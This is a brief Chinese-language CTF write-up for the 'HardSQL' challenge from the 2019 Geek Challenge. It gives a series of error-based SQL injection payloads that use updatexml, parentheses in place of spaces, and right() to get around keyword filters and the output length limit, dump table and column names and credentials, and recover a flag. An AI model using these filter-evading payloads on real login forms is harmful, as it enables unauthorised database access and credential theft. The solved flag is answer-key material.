[极客大挑战 2019]HardSQL

万能密码进不去,直接开始注入。

union,and,=,>,<,空格被过滤了

可以用报错注入的方法写

payload:?username=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=1

 payload:?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=21

 payload:?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))%23&password=21

payload:?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))%23&password=21

updatexml(1,concat(0x7e,select(database()),0x7e),1)

发现flag并不完整,查一下updatexml的函数,只返回前面32个字符,可以用right函数来返回右边的字符

payload:?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,32)))from(H4rDsq1)),0x7e),1))%23&password=21

 得到右边的字符串。

flag{43d6bf62-0d92-423c-9bee-4c6954782581}

原文地址:https://www.cnblogs.com/CNdate/p/13268948.html